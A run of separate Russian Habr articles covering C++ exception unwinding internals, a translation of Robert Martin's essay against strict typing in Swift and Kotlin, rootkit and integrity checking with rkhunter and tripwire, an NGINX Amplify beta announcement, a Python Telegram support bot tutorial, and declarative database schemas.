Наконец, мы знаем как пробрасываются исключения, как раскручивается стэк, как персональная функция выбирает корректный фрейм стэка и какой catch блок внутри landing pad выбирать, но у нас все еще есть проблема: запуск деструкторов. Что ж, далее изменим нашу персональную функцию, обеспечив поддержку RAII.
C++ exceptions под капотом: запуск деструкторов в раскрутке
===========================================================
Наш [мини-ABI 11 версии](https://github.com/nicolasbrailo/cpp_exception_handling_abi/tree/master/abi_v11) умеет практически все из базовых возможностей в обработке исключений, но он все еще не может запускать деструктор. Это очень важная часть, если мы хотим писать безопасный код. Мы знаем, что нужные дестркуторы хранятся .gcc\_except\_table, так что нам нужно посмотреть код ассемблера еще немного.
```
# Call site table
.LLSDACSB2:
# Call site 1
.uleb128 ip_range_start
.uleb128 ip_range_len
.uleb128 landing_pad_ip
.uleb128 (action_offset+1) => 0x3
# Rest of call site table
# Action table start
.LLSDACSE2:
# Action 1
.byte 0
.byte 0
# Action 2
.byte 0x1
.byte 0x7d
.align 4
.long _ZTI14Fake_Exception
.LLSDATT2:
# Types table start
```
В обычном landing pad, когда action имеет тип с индексом более, чем 0, мы можем получить индекс в таблицы типов и можем использовать его поиска необходимого catch блока. В противном случае, когда индекс — 0, нам необходимо запускать код очистки. Даже если landing pad не может обрабатывать исключения, он все еще способен выполнять очистку во время раскрутки. Разумеется, landing pad должен вызвать \_Unwind\_Resume после того, как очистка закончена, чтобы продолжить процесс раскрутки.
Я загрузил в [мой гитхаб репозиторий](https://github.com/nicolasbrailo/cpp_exception_handling_abi/tree/master/abi_v12) новую и последнюю версию кода, но у меня плохие новости: помните наше читерство, когда мы сказали, что uleb128 == char? Когда мы начали добавлять код для деструкторов, смещения в .gcc\_except\_table становятся большими (под "большими" я подразумеваю, что они больше 127) и наша уловка больше не работает.
Для следующей версии нам стоит переписать наш считыватель LSDA для того, чтобы он корректно обрабатывал uleb128 код.
Даже не смотря на это, мы достигли своего! Написали мини-ABI, способный корректно обрабатывать исключения без помощи библиотеки libcxxabi!
Конечно же, есть еще что делать, например, обрабатывать ненативные для этого языка исключения, поддержка совместимости между компиляторами и линкерами. Может как-нибудь позже...
C++ exceptions под капотом: итоги
=================================
После 20-ти глав о низкоуровневой обработки исключений, настало время подведения итогов! Что мы узнали о том, как исключения выбрасываются и как они ловятся?
Оставим в стороне страшные подробности о чтении .gcc\_except\_table, что, вероятно, наибольшая часть этой статьи, мы можем заключить:
* C++ компилятор в действительности делает очень мало работы, связанной с обработкой исключений, большее всего магии происходит в libstdc++
* Вот несколько вещей, что делает компилятор:
+ Создает CFI информацию для раскрутки стэка
+ Он создает что-то, называемое .gcc\_except\_table с информацией о landing pads (try/catch блоки). Часть рефлексии.
+ Когда мы пишем throw, компилятор транслирует это в пару вызовов libstdc++, которые аллоцируют исключение и после этого запускают раскрутку
* Когда исключение проброшено в рантайме, \_\_cxa\_throw делегирует раскрутку стэка библиотеке libstdc
* В процессе раскрутки стэка вызывается специальная функция, поставляемая libstdc++ (называемая персональной функцией, personality routine), которая проверяет каждую функцию в стэке, может ли она обрабатывать исключение.
* Если подходящего catch-блока не найдено, вызывается std::terminate
* Если найден — раскрутка стэка вновь начинается с начала стэка
* В процессе второго прохода, выполняется очистка
* Персональная функция проверяет .gcc\_except\_table для текущего метода. Если в ней (таблице) есть действия по очистке, персональная функция "прыгает" в текущий фрейм стэка для запуска очистки этого метода
* Как только раскрутчик наткнулся на фрейм стэка (считай, функцию), которая может обрабатывать это исключение, он прыгает в подходящий catch-блок
* После выполнения catch-блока, очищается память, занятая исключением.
Изучив в подробностях то, как обрабатываются исключения, мы теперь в состоянии сказать, почему так сложно писать exception safe код.
При поверхностном взгляде исключения могут показаться милыми и простыми, однако только стоит копнуть чуть глубже, как мы натыкаемся на кучу сложностей, программа буквально начинает копаться сама в себе (рефлексия), что не типично для C++ приложений.
Даже если мы говорим о языках высокого уровня, когда пробрасывается исключение, мы не можем полагаться на наше понимание о нормальном выполнении кода: обычно он выполняется линейно с небольшими разветвлениями в виде if и switch операторов. С исключениями все иначе: код начинает выполняться в непонятном порядке, разворачивать стэк, прерывать выполнения функций и перестает следовать обычным правилам. Указатель на инструкцию меняется в каждом landing pad, стэк раскручивается без нашего контроля, в целом, под капотом происходит очень много магии.
В итоге — исключения сложны, потому что они ломают наше представление о естественном выполнении программы. Это не означает, что нам категорически запрещено их использовать, а лишь говорит о том, что нам нужно быть всегда осторожными при работе с ними! | https://habr.com/ru/post/279149/ | null | ru | null |
# Тёмный путь
*Предлагаю вашему вниманию перевод [оригинальной статьи](http://blog.cleancoder.com/uncle-bob/2017/01/11/TheDarkPath.html) Роберта С. Мартина.*
За последние несколько месяцев я попробовал два новых языка. [Swift](https://swift.org/) и [Kotlin](https://kotlinlang.org/). У этих двух языков есть ряд общих особенностей. Действительно, сходство настолько сильное, что мне стало интересно, не является ли это новой тенденцией в нашей [языкомешалке](http://blog.cleancoder.com/uncle-bob/2016/07/27/TheChurn.html). Если это действительно так, то *это тёмный путь*.
Оба языка включают в себя некоторые функциональные характеристики. Например, в них обоих есть лямбды. В целом, это хорошая штука. Чем больше мы узнаем о функциональном программировании, тем лучше. Эти языки далеки от по-настоящему функционального языка программирования; но каждый шаг в этом направлении — хороший шаг.
Проблема в том, что оба языка сделали ставку на сильную статическую типизацию. Кажется, оба намерены заткнуть *каждую дыру* в своём родном языке. В случае со `Swift` – это странный гибрид `C` и `Smalltalk`, который называется *Objective-C*; поэтому, возможно, упор на типизацию понятен. Что касается Kotlin – его предком является уже довольно строго типизированная Java.
Я не хочу, чтобы вы думали, что я против статически типизированных языков. Я не против. Есть определенные преимущества как для динамических, так и для статических языков; и я с удовольствием пользуюсь обоими видами. Я предпочитаю динамическую типизацию, и поэтому я иногда использую `Clojure`. С другой стороны, я, вероятно, пишу больше `Java`, чем `Clojure`. Поэтому вы можете считать меня би-типичным. Я иду по обеим сторонам улицы — если так можно выразиться.
Дело не в том, что меня беспокоит статическая типизация `Swift` и `Kotlin`. Скорее меня беспокоит *глубина* статической типизации.
Я бы не назвал `Java` сильно упрямым языком, когда речь идет о статической типизации. Вы можете создавать структуры в `Java`, которые хорошо следуют правилам типов; но вы также можете нарушать многие правила типов, когда захотите или вам нужно. Язык немного жалуется, когда вы это делаете, и создаёт соответствующие барьеры для этого, но не так много, чтобы быть обструкционистом.
`Swift` и `Kotlin`, с другой стороны, становятся абсолютно непреклонными, когда дело доходит до их правил типов. Например, в `Swift`, если вы объявите функцию, которая бросает исключение, то каждый вызов этой функции, *вплоть до начала древа вызовов*, должен быть обёрнут в блок `do-try`, или `try!`, или `try?`. В этом языке нет способа тихо выбросить исключение вплоть до верхнего уровня, без прокидывания через все древо вызовов. (Вы можете посмотреть, как Джастин и я боремся с этим, в наших видеоматериалах [Mobile Application Case Study](https://cleancoders.com/videos/mobile-app-case-study))
Возможно, вы думаете, что это хорошо. Возможно, вы думаете, что в системах было много ошибок, вызванных некорректными исключениями. Возможно, вы считаете, что исключения, которые не сопровождаются, шаг за шагом, вверх по стеку вызовов, являются рискованными и подвержены ошибкам. И, конечно, вы были бы правы. Необъявленные и неуправляемые исключения очень рискованны.
##### А теперь вопрос. Кто должен разруливать все эти риски? Язык? Или это работа программиста?
В `Kotlin`, вы не можете наследоваться от класса, или переопределить функцию, пока вы не отметите этот класс или функцию ключевым словом `open`. Вы также не можете переопределить функцию, если она не отмечена ключевым словом `override`. Если вы не объявите класс как открытый для наследования, язык не позволит вам наследоваться от такого класса.
Возможно, вы думаете, что это хорошо. Возможно, вы считаете, что иерархии наследования, которым разрешено расти без ограничений, являются источником ошибок и риска. Возможно, вы думаете, что можно устранить целые классы ошибок, заставив программистов явно объявлять их классы открытыми для наследования. И вы можете быть правы. Наследование — рискованная вещь. Что-то может пойти не так, при переопределении функции в классе-наследнике.
##### А теперь вопрос. Кто должен разруливать все эти риски? Язык? Или это работа программиста?
Оба языка, `Swift` и `Kotlin`, включают в себя концепцию *обнуляемых типов* (nullable). Тот факт, что переменная может содержать `null`, становится частью типа этой переменной. Переменная типа `String` не может содержать значение `null`, она может содержать только конкретную строку. С другой стороны, переменная типа `String`? имеет обнуляемый тип и может содержать `null`.
Правила языка настаивают на том, что когда вы используете переменную, допускающую значение `null`, вы должны сначала проверить эту переменную на `null`. Так что если `s` это `String?` тогда `var l = s.length` не будет компилироваться. Вместо этого вам следует писать так: `var l = s?.length ?: 0` или `var l = if (s != null) s.length else 0`.
Возможно, вы думаете, что это хорошо. Возможно, вы видели довольно много NPE в вашей жизни. Возможно, вы знаете, без тени сомнения, что непроверенные `null`ы` являются причиной сбоев программного обеспечения на миллиарды и миллиарды долларов. (Действительно, документация `Kotlin` называет NPE «Billion Dollar Bug»). И, конечно, вы правы. Очень рискованно иметь неконтролируемые `null`ы` повсюду.
##### А теперь вопрос. Кто должен разруливать все эти `null`ы`? Язык? Или это работа программиста?
Эти языки подобны маленькому голландскому мальчику, [затыкающему пальцами дырки в дамбе](https://en.wikipedia.org/wiki/Hans_Brinker,_or_The_Silver_Skates). Каждый раз, когда появляется новая ошибка – в язык добавляется новая функция для предотвращения такой ошибки. И поэтому эти языки накапливают все больше и больше пальцев в дырах в дамбах. Проблема в том, что в итоге закончатся пальцы рук и ног.
Но пока пальцы на руках и ногах не закончились, мы создаём языки, которые содержат десятки ключевых слов, сотни ограничений, извилистый синтаксис и справочное руководство, которое читается как книга закона. Действительно, чтобы стать экспертом в этих языках, вы должны стать *юристом по языку* (термин, который был изобретен в эпоху `C++`).
##### *Это неверный путь!*
Спросите себя, почему мы пытаемся исправить дефекты языковыми функциями. Ответ должен быть очевиден. Мы пытаемся исправить эти дефекты, потому что эти дефекты случаются слишком часто.
Теперь спросите себя, почему эти дефекты случаются слишком часто. Если вы ответите, что наши языки не мешают им, я настоятельно советую вам бросить свою работу и никогда не думать о том, чтобы снова стать программистом. Потому что дефекты *никогда* не являются ошибкой наших языков. Дефекты — это ошибка *программистов*. Это *программисты* создают дефекты, а не языки.
И что же программисты должны делать для предотвращения дефектов? Я загадаю вам загадку. Вот пара подсказок. Это глагол. Он начинается на букву «Т». Да. Вы поняли. ТЕСТИРОВАТЬ!
Вы *пишете тесты*, чтобы ваша система не возвращала неожиданные значения `null`. Вы *пишете тесты*, чтобы ваша система обрабатывала `null` во всех входных данных. Вы *пишете тесты*, чтобы каждое исключение, которое вы можете выбросить, было где-то обработано.
Почему эти языки используют все эти функции? Потому что программисты *не покрывают тестами* свой код. И поскольку программисты не тестируют свой код, у нас теперь есть языки, которые *заставляют* нас ставить слово `open` перед каждым классом, от которого мы хотим наследоваться. Теперь у нас есть языки, которые заставляют нас оборачивать каждую функцию, сквозь всё древо вызовов, в блок `try!`. Теперь у нас есть языки, которые настолько ограничены и настолько переобусловлены, что нужно проектировать всю систему заранее, прежде чем начать кодить.
Рассмотрим пример. Как узнать, открыт ли класс для наследования или нет? Как я узнаю, что где-то вниз по древу вызовов кто-то может выбросить исключение? Сколько кода мне придется изменить, когда я наконец узнаю, что кто-то действительно должен вернуть `null` в древе вызовов?
Все эти ограничения, налагаемые этими языками, предполагают, что программист обладает совершенным знанием системы, *до того как начать писать её*. Они предполагают, что вы *знаете*, какие классы должны быть открыты для наследования, а какие нет. Они предполагают, что вы *знаете*, какие вызовы будут генерировать исключения, а какие — нет. Они предполагают, что вы *знаете*, какие функции будут возвращать `null`, а какие нет.
И из-за всего этого есть основания полагать, что они *наказывают* вас, когда вы неправы. Они заставляют вас вернуться назад и изменить огромное количество кода, добавив `try!` или `?:` или `open` сквозь всё древо вызовов.
И как вы избегаете этого наказания? Есть два пути. Тот, который работает, и тот, который не работает. Тот, который не работает, заключается в том, чтобы проектировать всё перед написанием кода. А тот, который *избегает* наказания, должен *переопределить все меры предосторожности*.
И поэтому вы объявляете все свои классы и все свои функции открытыми для наследования. Вы никогда не используете исключения. И вы привыкаете к использованию большого количества символов `!` для переопределения проверок на `null` и позволяете NPE расплодиться в своих системах.
---
Почему атомная станция в Чернобыле загорелась, расплавилась, разрушила небольшой город и оставила большую территорию непригодной для жизни? *Они переопределили все меры предосторожности*. Так вот, не надо полагаться на безопасность, чтобы предотвратить катастрофу. Вместо этого лучше привыкнуть к написанию большого количества тестов, независимо от того, какой язык вы используете! | https://habr.com/ru/post/324122/ | null | ru | null |
# Linux, безопасность и все такое… (вдогонку)
Навеяло [вот этим](http://habrahabr.ru/blogs/linux/81724/) топиком. Автор задал правильные вопросы, но к сожалению не дал правильных ответов.
На самом деле это общая грустная тенденция. Почему-то все свято уверены, что раз вирусов под линуксом нету, то и безопасность сама собой обеспечивается. Понимание ошибочности этого взгляда приходит зачастую слишком поздно, когда ты уже хакнут, причем еще неизвестно, какой из описанных в комментах случаев хуже — хакнутый корпоративный сервер или установленная любимым сыном дома маме десктопная убунта.
Давайте глянем, как можно обезопасить себя от всякой фигни.
#### rkhunter
Простенькая, но эффективная программа для отслеживания руткитов. Устанавливается элементарно:
`apt-get install rkhunter`
Дальше обновляем базы:
`rkhunter --update`
И запускаем проверку:
`rkhunter --check`
Очень полезным будет открыть файл */etc/rkhunter.conf* и раскомментировать строчку MAIL-ON-WARNING, добавив туда свой почтовый адрес.
Последним шагом имеет смысл прописать в крон ежедневный (или еже нощный) запуск проверки, и за завтраком просматривать в почте присланные логи проверки.
#### tripwire
Это уже инструмент посерьезней. Он хранит снимок текущей файловой системы (вплоть до используемых файлами инодов) и рапортует любые изменения (привет любителям автоапдейтов).
Опять-таки:
`apt-get install tripwire`
Задаем при установке отдельно пароль для генерации ключей и полиси, и второй пароль для базы данных.
После установки правим файлы */etc/tripwire/twcfg.txt* и */etc/tripwire/twpol.txt*, делаем инициализацию БД:
`tripwire --init`
и запускаем пробную проверку
`tripwire --check`
На выходе получаете туеву хучу сообщений об отсутствующих файлах. В базовой поставке tripwire упоминаются все возможные варианты файлов, поэтому правите опять файл политик */etc/tripwire/twpol.txt* и обновляете его:
`tripwire --update-policy /etc/tripwire/twpol.txt`
Опять-таки, как и в предыдущем случае, проверяем, ходит ли к вам почта:
`tripwire --test --email адрес`
и создаем в кроне задание с ключиком *--email-report*
Но не стоит расслабляться — если уж злоумышленник получит рутовые права на вашей тачке, то ему не составит труда просто переустановить tripwire со своими ключами, и вы будете все так же получать репорты в стиле «Все хорошо, прекрасная маркиза», пока в один прекрасный день не надумаете обновить конфиг или полиси и не получите сообщение о неверном пароле.
Будьте бдительны! | https://habr.com/ru/post/81889/ | null | ru | null |
# Анонс публичной бета-версии NGINX Amplify
[](https://www.nginx.com/amplify/)
Мы рады представить бету NGINX Amplify, нашего нового инструмента для мониторинга NGINX и [NGINX Plus](https://www.nginx.com/products/). Используя NGINX Amplify, вы сможете отслеживать и контролировать NGINX и приложения, которые он обслуживает. Новый инструмент позволит быстро решать проблемы с производительностью и доступностью отдельных сервисов и инфраструктуры в целом. На текущий момент он включает в себя гибко настраиваемую панель мониторинга с механизмом оповещений, а также систему автоматических рекомендаций по оптимизации производительности и улучшению безопасности.
Узнать больше и увидеть NGINX Amplify в действии можно [записавшись на онлайн вебинар](https://www.nginx.com/resources/webinars/amplify-launched-as-public-beta), который пройдет 13 июля в 20:00 по московскому времени.
Также, вы можете начать бесплатно использовать NGINX Amplify прямо сейчас, [пройдя регистрацию](https://amplify.nginx.com/signup/).
*Легкий доступ к ключевым показателям производительности в настраиваемой панели мониторинга NGINX Amplify*
Установка проста и не отнимет больше 5 минут. C NGINX Amplify вы получите:
* **Рекомендации по безопасности и оптимизации** – NGINX Amplify тщательно анализирует вашу конфигурацию NGINX и советует изменения для повышения производительности и безопасности. Каждая рекомендация содержит номер строки с цитируемой директивой, описание проблемы и способ её устранения.
* **Мониторинг в реальном времени** – NGINX Amplify это единая панель мониторинга всех ваших серверов с NGINX. Она собирает сотни различных метрик из NGINX, лог-файлов и операционной системы, предоставляя гибко настраиваемый интерфейс для их отображения (на картинке выше). Метрики могут быть агрегированы с целого кластера NGINX серверов для общей оценки или отфильтрованы вплоть до уникального интерфейса. Мониторинг работает как с бесплатной версией NGINX, так и с коммерческой, NGINX Plus, где пользователям доступны [дополнительные метрики](https://www.nginx.com/products/live-activity-monitoring/).
* **Настраиваемые оповещения** – NGINX Amplify отправляет сообщение, когда система требует внимания. Любая метрика, собираемая в NGINX Amplify, может являться критерием для отправки оповещений. К примеру, сообщение может быть сгенерировано когда количество ошибок с кодами 5хх превысило установленную вами границу.
Учитывая нашу уникальную позицию в роли веб-сервера, прокси и балансировщика для веб-сервисов, мы считаем, что NGINX Amplify является прекрасным дополнением к существующим средствам мониторинга доступности и производительности. NGINX Amplify работает с использованием [небольшого агента с открытым исходным кодом](https://github.com/nginxinc/nginx-amplify-agent), который установливается на каждый сервер с NGINX. Агент самостоятельно собирает различные метрики для анализа и визуализации. Эти данные объединяются с той информацией, которая собирается самим NGINX (или [NGINX Plus](https://www.nginx.com/products/live-activity-monitoring/)), чтобы представить целостную картину того, как функционирует ваш веб-сервис.
Мы приглашаем всех пользователей NGINX и NGINX Plus [зарегистрироваться](https://amplify.nginx.com/signup) и извлечь выгоду из возможности анализировать и лучше контролировать свои веб-сервисы. Присоединившись к открытому бета-тестированию NGINX Amplify, уже через несколько минут вы получите визуализацию ключевых показателей и действенные советы по улучшению производительности и безопасности ваших сервисов.
Результаты закрытого бета-тестирования
--------------------------------------
NGINX Amplify был доступен для [приватного тестирования](https://www.nginx.com/blog/announcing-amplify/) с ноября прошлого года. Энтузиасты NGINX и те, кто испытывал наибольшую потребность в подобного рода мониторинге, стали первыми, кто присоединился к бета-тестерованию. И с переходом к фазе публичной беты мы рассчитываем на быстрый рост пользовательской базы.
Вот что первые пользователи могут сказать об NGINX Amplify:
> “… [в одном случае] наше соединение с сетью пострадало и сервера были на короткий промежуток времени отрезаны от интернета. Наш собственный мониторинг не заметил проблемы, и если бы NGINX Amplify не обнаружил и не оповестил нас, мы бы даже не знали об этом факте.”
> “Страница **Reports** (отчеты) полезна своим кратким обзором настроек сервера, а статический анализ помог нам выявить недостающие параметры конфигурации.”
> “NGINX Amplify помог мне быстро решить проблемы благодаря секции **Static analysis** (статический анализ) на странице **Reports**.”
Подробнее о возможностях NGINX Amplify
--------------------------------------
### Рекомендации по производительности и безопасности
NGINX Amplify производит статический анализ вашей NGINX конфигурации. Страница **Reports** содержит рекомендации о том, что можно изменить для улучшения производительности и безопасности. Каждый совет содержит имя файла конфигурации и номер строки, где находится директива, объясняет потенциальную проблему и предлагает способ решения.
*NGINX Amplify анализирует вашу конфигурацию NGINX и дает советы по улучшению*
Первый пример на снимке содержит совет по улучшению конфигурации во избежание неочевидного поведения в случаях, когда запрос содержит неизвестное имя хоста или не содержит его вовсе.
NGINX Amplify также обнаруживает настройки, которые могут негативно сказаться на производительности. К примеру, полное отключение буферизации ответов с проксируемых серверов может ухудшить производительность, в то время как отключение буферизации на диск, наоборот, может поднять производительность. Пользователи зачастую путают эти две настройки и отключают буферизацию полностью без явной на то причины. NGINX Amplify находит подобные настройки и объсняет, для чего они предназначены.
NGINX Amplify в дальнейшем выявляет потенциальные проблемы с безопасностью в конфигурации NGINX и дает рекомендации по их устранению. Например, NGINX Amplify может подсказать вам ограничить доступ к странице статуса.
### Мониторинг в реальном времени
C NGINX Amplify вы можете вывести все необходимые метрики на единую панель на вкладке **Dashboards** (приборная панель). Среди показателей вам доступны:
* Индивидуальные метрики – например, количество используемого процессорного времени каждым сервером;
* Агрегированные метрики – такие, как общая пропускная способность по всем серверам с NGINX;
* Метрики, относящиеся к производительности приложений, включая время ответа.
NGINX Amplify сохраняет данные мониторинга NGINX за неделю, так что вы можете проводить ретроспективный анализ.
*В NGINX Amplify вы можете создавать свои собственные панели мониторинга с необходимыми показателями*
NGINX Plus собирает [дополнительные метрики](http://nginx.org/en/docs/http/ngx_http_status_module.html), связанные с производительностью бекенда. Пользователи NGINX Plus получают преимущества от визуализации этих метрик в NGINX Amplify и возможности просмотра их за предыдущие промежутки времени:
* Нагрузка на каждый бекенд, включая запросы, ответы и пропускную способность;
* Работоспособность каждого бекенда, включая количество ошибок и как часто сервер испытывал проблемы;
* Время работы, объем трафика и прочая критическая информация.
### Оповещения
Вы можете настроить оповещения на странице **Alerts** (оповещения), так что NGINX Amplify оповестит вас когда система будет не в порядке. NGINX Amplify собирает широкий набор метрик с системы, которые могут быть использованы как критерии для генерации оповещения.
*Получайте сообщения когда система испытывает проблемы*
Одно из оповещений на снимке настроено так, что NGINX Amplify отправит письмо на `me@example.com` когда процессор будет занят более чем на 95% в течение 10 и более минут, что может служить сигналом того, что сервер перегружен. Вы можете указать любой почтовый адрес, например, перенаправить сообщение в сервис PagerDuty. После первичного оповещения NGINX Amplify будет отправлять дайджест каждые 30 минут по всем обнаруженным ошибкам до тех пор, пока все проблемы не будут устранены.
Резюме
------
NGINX является одним из самых критичных компонентов в инфраструктуре обслуживания ваших сервисов. NGINX Amplify поможет отследить, что NGINX и ваши приложения функционируют исправно, в том числе на пике нагрузки. Мы приглашаем всех [зарегистрироваться](https://amplify.nginx.com/signup) сегодня на бесплатное открытое бета-тестирование и оставить свои отзывы, используя кнопку **Intercom** в правом нижнем углу после входа в NGINX Amplify. | https://habr.com/ru/post/305384/ | null | ru | null |
# Telegram бот для службы поддержки (часть 1)
В этом цикле статей мы реализуем службу поддержки для онлайн-чатов. Система должна уведомлять команду операторов о новом сообщении, делить нагрузку на команду любого размера, делегировать сообщения в зависимости от приоритета. Звучит жутко. Но без паники, я поделюсь нашим опытом построения такой системы, которая уместилась всего в пару сотен строк кода. Да, мы будем использовать Telegram-бота. Но не потому, что это модно, а потому что супер удобно.
Всё началось с того, как мы захотели делать мобильное приложение, где люди могут писать любой вопрос в чаты заведений вокруг и получить быстрый ответ. Сделать чат — не проблема. Но что если мы хотим получать уведомления о новых сообщениях в real-time, для мгновенного ответа пользователю?
В первой части статьи я покажу на тестовом примере, как можно управлять системой службы поддержки через чат-бота, почему это очень простой и удобный способ. А во второй части статьи мы реализуем этот пример на Python.
Проблема и решение
==================
Любая команда операторов службы поддержки должна отвечать на запросы оперативно, для этого её нужно оперативно уведомлять. Нет нужды придумывать что-то своё — любой современный мессенджер справится с этой задачей на ура. Я выбрал Telegram. Он удобен, работает на всех основных платформах, а функционал ботов опережает даже титанов рынка мессенджеров как минимум на год. К чему это я про ботов?
В нашем случае, бот представляет собой информационный канал, к которому легко можно подключать людей, с которым можно взаимодествовать текстовыми командами. После того, как мы создали бота, подключить к нему людей легко, достаточно кинуть им ссылку. Однако, наш бот исключительно для внутреннего использования. Нельзя допустить, чтобы кто угодно мог получить доступ по этой ссылке. Ссылку мы прятать надёжно не можем, а вот включать функционал специальной командой с подтверждением пароля — запросто.
Telegram бот позволяет задавать для бота свои текстовые команды. Делаем так: создадим команду "/on" которая «включает» функционал бота для пользователя. Но только после подтверждения паролем! Ну и на всякий случай можно предусмотреть команду "/off", которая отключает функционал.
Теперь наш бот знает группу людей — операторов службы поддержки. Пока что представим, что группа операторов у нас всего одна, каждый вопрос от клиента очень важен, поэтому будем рассылать уведомления всей группе. В этом нет никакой магии, конечно Telegram имеет апи для рассылки сообщений людям, подключившимся к нашему боту.
Теперь каждый член команды операторов получит уведомление. В текст сообщения можно вставить ссылку, по которой можно ответить клиенту. Например, это может быть ссылка на веб-версию чата, через который вы осуществляете поддержку.
Система, которую мы разработали, работает корректно, когда оператор службы поддержки один. Безусловно, мы можем рассылать уведомления любому количеству людей. Но как понять, что кто-то уже отвечает на запрос клиента? Как распределять нагрузку, чтобы не возникло путаницы? Это мы будем делать в следующей статье с помощью… кнопок в чате. Не так давно Telegram опубликовал Bot Api 2.0. Теперь стало возможным добавлять кнопки к сообщениям и отслеживать нажатия на них пользователей. Чем мы и займёмся в следующей статье. Ну и скриншот для превью того, что мы будем делать.
Реализация
==========
Всё необходимое для создания бота можно почитать в [документации](https://core.telegram.org/bots). После того, как мы создали бота, приступаем к коду. Будем использовать Python [библиотеку](https://github.com/eternnoir/pyTelegramBotAPI) — обёртку Telegram API. Она позволяет писать обработку сообщений в обычных функциях с декораторами, что довольно удобно. Полный код нашего тестового примера доступен [тут](https://github.com/andheroe/manage_support_bot), по мере выхода следующих статей я буду его обновлять.
```
@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
bot.reply_to(message, "Welcome to Support_Bot!")
```
Так выглядит код, который реагирует на команды "/start", "/help", а так же приветствует новых пользователей бота (при первом открытии бота автоматически посылается команда "/start").
```
@bot.message_handler(commands=['on'])
def subscribe_chat(message):
if message.chat.id in team_users:
bot.reply_to(message, "You are already an operator")
else:
user_step[message.chat.id] = TEAM_USER_LOGGING
bot.reply_to(message, "Enter team secret phrase:")
```
Это уже обработка не стандартных команд ("/start" и "/help" есть по умолчанию у всех ботов). Мы создали обработчик команды "/on". После обработки мы просим ввести пароль.
```
@bot.message_handler(func=lambda message: user_step.get(message.chat.id) == TEAM_USER_LOGGING)
def team_user_login(message):
if message.text == 'password1':
team_users.add(TeamUser(message.chat.id))
user_step[message.chat.id] = TEAM_USER_ACCEPTED
bot.reply_to(message, "You`ve started receiving messages")
else:
bot.reply_to(message, "Wrong secrete phrase, try again")
```
Эта функция проверяет пароль на валидность. Но как понять, что последнее сообщение было паролем? В обработчике "/on" мы сохраняем статус диалога в глобальной переменной. Декораторы обработчиков сообщений могут принимать lambda-функции, в которые попадют входящие сообщения и если lambda-функция вернула True — идём в обработчик. На самом деле, в нашем случае текст сообщения не так важен, но мы проверяем статус глобальной переменной. Если пользователь до этого вызывал команду "/on" — значит нужно интерпретировать его сообщение, как пароль. Если пароль проходит проверку — сохраним так называемый chat id куда-нибудь, например в файл. С помощью этого id мы позже будем отправлять сообщения в чат оператору.
```
@bot.message_handler(commands=['off'])
def team_user_logout(message):
if message.chat.id not in team_users:
bot.reply_to(message, "You are not an operator anyway")
else:
team_users.remove_by_chat_id(message.chat.id)
bot.reply_to(message, "You`ve stopped receiving messages")
```
Аналогично реализуем команду отключения оператора, который больше не хочет получать уведомления.
```
def process(message):
text = '%s\n%s writes to %s\nReply: %s' %\
(message, 'Vasya', 'Super Support Team', '*reply_url*')
for user in team_users:
bot.send_message(user.chat_id, text, disable_web_page_preview=True)
```
Ну и рассылка сообщений делается ещё проще. Так как в сообщениях мы можем передавать разную необходимую информацию, включая ссылки, не будем заставлять приложение Telegram пытаться распарсить их, это будет только мешать. С помощью флага disable\_web\_page\_preview = True Telegram не будет пытаться проходить по нашим ссылкам и выдавать картинку превью в чате.
```
threading.Thread(target=bot.polling).start()
```
Запускаем бота одной строчкой (метод polling, ещё доступны webhook-и, но для начала этого хватит с головой).
В этой статье мы сделали бота, научили его добавлять операторов только после ввода пароля, так же научили его рассылать всем в группе операторов уведомления. Я буду продолжать цикл и расскажу, как убрать возможную путаницу «кто на какой запрос отвечает», как на основе бота сделать разбиение операторов на группы, делегирование сообщений определённой группе, а так же как отвечать на вопросы клиентов не выходя из Telegram чата. Подобную систему мы используем в работе нашего приложения ([Android](http://a.localytics.com/android?id=me.spottle&referrer=utm_source%3Dother_blog%26utm_medium%3Dinside_article%26utm_term%3Dinside_article%26utm_content%3Dinside_article%26utm_campaign%3Dinside_article) и [iOS](http://a.localytics.com/redirect/pga3uio2yt5shim4pjz8?partner=other_blog&idfa=%7BIDFA%7D)). Ну и, конечно, будем изучать новые классные фишки Telegram Bot API 2.0. Надеюсь, наш опыт будет полезен. | https://habr.com/ru/post/303528/ | null | ru | null |
# Декларативное описание структур данных в RDBMS
Лет 6 назад я задавался вопросом "[Как правильно организовать распределенное проектирование БД?](https://habr.com/ru/post/263053/)" Тогда ответа на свой вопрос я так и не получил, но за прошедшее с тех пор время я встретился с вариантом, наиболее близко подобравшимся к моему видению "*прекрасного*" — это [декларативная схема описания данных](https://devdocs.magento.com/guides/v2.4/extension-dev-guide/declarative-schema/) в Magento 2.
Мне нравится философия таких программных систем, как Magento, Odoo, WordPress, Drupal — базовый функционал, расширяемый за счёт сторонних плагинов. Она значительно отличается от философии [FAANG](https://ru.wikipedia.org/wiki/Facebook,_Apple,_Amazon,_Netflix_%D0%B8_Google). Философия FAANG направлена на построение уникальных высокопроизводительных решений, а философия WordPress — на адаптируемость к требованиям бизнеса. Каждый из этих подходов имеет свои плюсы и минусы, но мне ближе второй и рассматривать вопрос, вынесенный в заголовок публикации, я буду именно в рамках WordPress-подхода (WP-подхода).
Я не предлагаю решение, я просто размышляю вслух на обозначенную в заголовке тему.
Особенности WP-подхода
======================
WP-подход подразумевает, что:
* данные приложения, как правило, находятся в единой базе данных;
* различные приложения могут использовать различные СУБД из набора доступных для соответствующей платформы (например, MariaDB/MySQL/PostgreSQL/Oracle/MSSQL/...);
* структура данных этой единой базы собирается из фрагментов, соответствующих компонентам приложения (ядра платформы и используемые плагины);
* набор плагинов может меняться за время жизни приложения;
* структура данных фрагмента (плагина) может меняться за время жизни приложения;
Таким образом, WP-подход требует наличия инструмента, который бы помогал поддерживать целостность структуры единой БД при установке/удалении/обновлении плагинов. А это значит, что формат описания структур данных должен быть лоялен к программной обработке.
Текущее положение
=================
SQL
---
Стандартным форматом для описания структур данных является декларативный SQL. Это проверенный временем язык и он успешно справляется с описанием структуры данных. Тем не менее, платформы, исповедующие WP-подход, не используют SQL напрямую, а предпочитают взаимодействовать с БД через слой ORM/DBAL-инструментов.
ORM/DBAL
--------
Инструменты типа [Hibernate](https://hibernate.org/), [Doctrine](https://www.doctrine-project.org/), [Sequelize](https://sequelize.org/), [Knex](https://knexjs.org/) добавляют в приложение слой, абстрагирующий приложение от типа используемой им СУБД. Каждый инструмент предоставляет свой способ описания схемы данных и манипуляции данными, как правило на соответствующем языке программирования (Java, PHP, JS/TS). Приоритет имеют способы манипуляции данными, т.к. приложения чаще выбирают/изменяют данные в базе, чем меняют её структуру.
